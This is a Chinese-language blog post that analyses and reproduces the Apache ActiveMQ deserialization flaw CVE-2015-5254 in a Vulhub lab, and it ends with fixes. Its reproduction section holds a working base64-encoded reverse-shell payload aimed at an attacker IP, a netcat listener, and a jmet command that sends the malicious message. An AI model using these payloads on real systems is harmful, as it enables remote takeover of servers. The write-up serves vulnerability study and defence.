CVE-2015-5254源码分析与漏洞复现

一、漏洞概述

漏洞名称:Apache ActiveMQ 反序列化远程代码执行漏洞
CVE编号:CVE-2015-5254
影响版本:Apache ActiveMQ 5.x ~ 5.13.0
漏洞类型:反序列化 → 远程代码执行(RCE)
危害:攻击者通过构造恶意序列化数据,可在目标服务器执行任意代码,完全控制服务。


二、漏洞原理

1. 背景条件

  • 消息类型支持:ActiveMQ 支持 ObjectMessage 类型消息,允许传输 Java 序列化对象。
  • 协议与端口:默认开放 61616 端口(OpenWire 协议)接收序列化消息,8161 端口为 Web 管理页面。
  • 危险依赖:服务端依赖存在反序列化利用链的库(如 Apache Commons Collections 3.1-3.2.1),其中 InvokerTransformer 类允许通过反射执行任意方法。

2. 漏洞触发流程

  1. 消息接收:消费者从队列中获取 ObjectMessage 消息。
  2. 反序列化:调用 ObjectMessage.getObject() 时,使用 ClassLoadingAwareObjectInputStream 解析消息内容。
  3. 恶意类加载:未校验类名,直接加载攻击者构造的危险类(如 InvokerTransformer)。
  4. RCE 触发:通过 Commons Collections 的 Gadget 链反射调用 Runtime.exec(),执行任意命令。

三、攻击链分析

1. 核心 Gadget 链(CommonsCollections5)

1
2
3
4
5
6
ObjectInputStream.readObject()
→ AnnotationInvocationHandler.readObject()
→ TransformedMap.entrySet().iterator().next()
→ InvokerTransformer.transform()
→ Method.invoke()
→ Runtime.exec("calc.exe")

关键类说明

  • **InvokerTransformer**:通过反射调用任意方法(如 Runtime.getRuntime().exec())。
  • **TransformedMap**:Map 装饰类,在修改操作时触发 Transformer 链。
  • **AnnotationInvocationHandler**:JDK 动态代理类,反序列化时自动调用 Map 操作(Java 8u75 前可利用)。

2. 漏洞入口:ObjectMessage.getObject()

1
2
3
4
5
6
7
8
9
public Serializable getObject() throws JMSException {
if (object == null && getContent() != null) {
InputStream is = new ByteArrayInputStream(getContent());
// 未校验类名,直接加载任意类
ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(is);
object = (Serializable) objIn.readObject(); // 触发反序列化
}
return object;
}

3. 问题类:ClassLoadingAwareObjectInputStream

1
2
3
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
return Class.forName(desc.getName(), false, getClassLoader()); // 无类名校验
}

四、漏洞复现

1. 环境搭建

使用 Vulhub 快速搭建漏洞环境:

1
2
cd vulhub/activemq/CVE-2015-5254
docker-compose up -d

upload successful

环境启动后,监听端口:

  • 61616:消息传递端口(攻击入口)。
  • 8161:Web 管理页面(默认账号密码 admin:admin)。

upload successful

-管理员登录

upload successful

2. 攻击步骤(反弹 Shell )

  1. 生成编码后的 Payload
    使用 Base64 编码反弹 Shell 命令:
    1
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
    mFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==bash -i >& /dev/tcp/192.168.1.102/6666 0>&1的base64编码(换成自己攻击机的ip和监听端口)
    2.kali攻击机开启监听
    1
    nc -lvvp 6666

upload successful
2. 发送恶意消息
工具下载地址

1
java -jar jmet-0.1.0-all.jar -Q shell -I ActiveMQ -s -Y "编码后的Payload" -Yp ROME 目标IP 61616

  1. 触发漏洞
    • 查看消息队列

upload successful

  • 点击消息

upload successful

upload successful

4.验证

upload successful

五、修复方案

1. 官方修复(ActiveMQ 5.13.1+)

  • 白名单机制:限制可反序列化的类包名:
    1
    -Dorg.apache.activemq.SERIALIZABLE_PACKAGES="java.lang,java.util"
  • 协议层过滤:禁用 OpenWire 协议的 ObjectMessage 支持。

2. 临时缓解措施

  • 升级依赖库:将 Commons Collections 升级至 4.0+(移除 InvokerTransformer)。
  • 网络隔离:限制 61616 端口的访问来源(仅允许可信 IP)。

3. 自定义安全反序列化类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class SecureObjectInputStream extends ObjectInputStream {
private static final String[] ALLOWED_PACKAGES = {"java."};

@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
for (String prefix : ALLOWED_PACKAGES) {
if (className.startsWith(prefix)) {
return super.resolveClass(desc);
}
}
throw new InvalidClassException("Unauthorized class: " + className);
}
}

六、总结

1. 漏洞根源

  • 设计缺陷:为兼容性牺牲安全性,允许任意类反序列化。
  • 供应链风险:第三方库(如 Commons Collections)引入危险 Gadget 链。

2. 防御启示

  • 最小化反序列化:业务中避免使用 ObjectMessage,改用 JSON/Protobuf 等格式。
  • 纵深防御
    • 代码层:实现 ObjectInputFilter 白名单。
    • 运维层:定期扫描依赖库的已知漏洞(如 OWASP Dependency-Check)。

参考链接

  1. CVE-2015-5254 复现与工具使用
  2. 漏洞特征分析与规则测试
  3. Nessus 漏洞报告与修复建议
  4. 反弹 Shell 编码与利用细节
  5. Commons Collections 反序列化原理

CVE-2015-5254源码分析与漏洞复现
https://spinage.top/2025/09/05/CVE-2015-5254源码分析与漏洞复现/
作者
spinage
发布于
2025年9月5日
许可协议